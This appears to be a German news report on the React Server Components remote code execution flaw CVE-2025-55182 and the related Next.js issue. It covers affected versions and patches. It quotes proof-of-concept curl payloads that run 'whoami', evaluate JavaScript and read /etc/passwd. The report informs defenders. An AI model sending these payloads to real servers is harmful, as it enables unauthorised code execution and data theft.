Eine Schwachstelle in den Serverkomponenten von React, die die Ausführung von Code auf dem Server ermöglicht.

In den Serverkomponenten des Web-Frameworks React (RSC, React Server Components) wurde eine Sicherheitsanfälligkeit (CVE-2025-55182) behoben, die es ermöglichte, durch das Senden einer Anfrage an den Server-Handler beliebigen Code auf dem Server auszuführen. Der Anfälligkeit wurde die kritische Gefahrstufe 10 von 10 zugewiesen. Die Anfälligkeit tritt in den experimentellen Komponenten react-server-dom-webpack, react-server-dom-parcel und react-server-dom-turbopack auf, die für die Ausführung von Funktionen und die Erstellung von Benutzeroberflächenelementen auf dem Server und nicht auf der Client-Seite verwendet werden.

Das Problem wird durch unsichere Deserialisierung von Daten verursacht, die in HTTP-Anfragen an Server-Handler empfangen werden. Die Handler „vm#runInThisContext“, „vm#runInNewContext“, „child_process#execFileSync“ und „child_process#execSync“ können verwendet werden, um Befehle im System auszuführen oder JavaScript-Code im Kontext des aktuellen Prozesses (unter Umgehung der Sandbox-Isolierung) auszuführen. Auch die Verwendung der Handler „fs#readFileSync“ und „fs#writeFileSync“ ist möglich, um beliebige Dateien zu lesen und zu schreiben. Server, soweit es die aktuellen Zugriffsrechte erlauben. Für den Angriff ist keine Authentifizierung erforderlich. Ein Prototyp des Exploits ist verfügbar. # Ausführen des Befehls whoami curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={„id“:„child_process#execSync“,„bound“:[„whoami“]}’ # Ausführen von JavaScript-Code 1+1 curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={„id“:„vm#runInThisContext“,„bound“:[„1+1“]}’ # Lesen der Datei /etc/passwd curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={„id“:„fs#readFileSync“,„bound“:[„/etc/passwd“,„utf8“]}’

Die Verletzlichkeit von Systemen hängt von der Verwendung verwundbarer Serverkomponenten wie react-server-dom-webpack, react-server-dom-parcel und react-server-dom-turbopack ab. Anwendungen, die react-server nicht verwenden, sind von dieser Schwachstelle nicht betroffen. Das Ausmaß der Verwundbarkeit in produktiven Systemen, die React nutzen, ist derzeit unklar. Einerseits ist React eines der beliebtesten Web-Frameworks (es wird auf etwa 6 % der Websites verwendet), und die verwundbaren Komponenten werden hauptsächlich in einem zentralen Repository entwickelt und in die Releases aufgenommen. Verwundbare Komponenten werden auch in auf React basierenden Frameworks wie Next.js und react-router unterstützt. Laut Wiz Research wurden in 39 % der analysierten Cloud-Umgebungen verwundbare Instanzen identifiziert.

Andererseits erfolgt die Erstellung von Inhalten auf dem Server über React Server Komponenten sind eine selten genutzte Funktion (die meisten React-Seiten rendern die Benutzeroberfläche nur auf der Client-Seite), während die verwundbaren Komponenten als experimentell gekennzeichnet sind und keine korrekte Funktionalität garantieren. Diese Komponenten haben eine vergleichsweise geringe Anzahl an direkten Downloads aus dem NPM-Repository: react-server-dom-webpack – 670.000 pro Woche, react-server-dom-parcel – 7.000 und react-server-dom-turbopack – 32.000. Zum Vergleich hat das NPM-Paket React 45 Millionen Downloads pro Woche.

Die Verwundbarkeit ist in den Versionen React 9.0.0, 19.1.0, 19.1.1 und 19.2.0 vorhanden und wurde in den Updates React 19.0.1, 19.1.2 und 19.2.1 behoben. Verwundbare Komponenten werden auch in den Paketen Next.js (16 Millionen Downloads pro Woche), react-router (20 Millionen Downloads pro Woche), waku, @parcel/rsc, @vitejs/plugin-rsc und rwsdk verwendet.

Im Next.js-Framework betrifft die Verwundbarkeit (CVE-2025-66478) Anwendungen, die den App Router verwenden, sowie die Next.js-Versionen 15.x und 16.x. Es wird berichtet, dass die Verwundbarkeit in der Standardkonfiguration von Next.js auftritt (das Standard-App, das mit dem Tool create-next-app erstellt wird, ist anfällig für Angriffe). Benutzern wird geraten, das Update Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 oder 16.0.7 so schnell wie möglich zu installieren.

Quelle: opennet.ru

Купить надежный хостинг для сайтов с защитой от DDoS, VPS VDS серверы 🔥 Купить надежный хостинг для сайтов с защитой от DDoS, VPS VDS серверы | ProHoster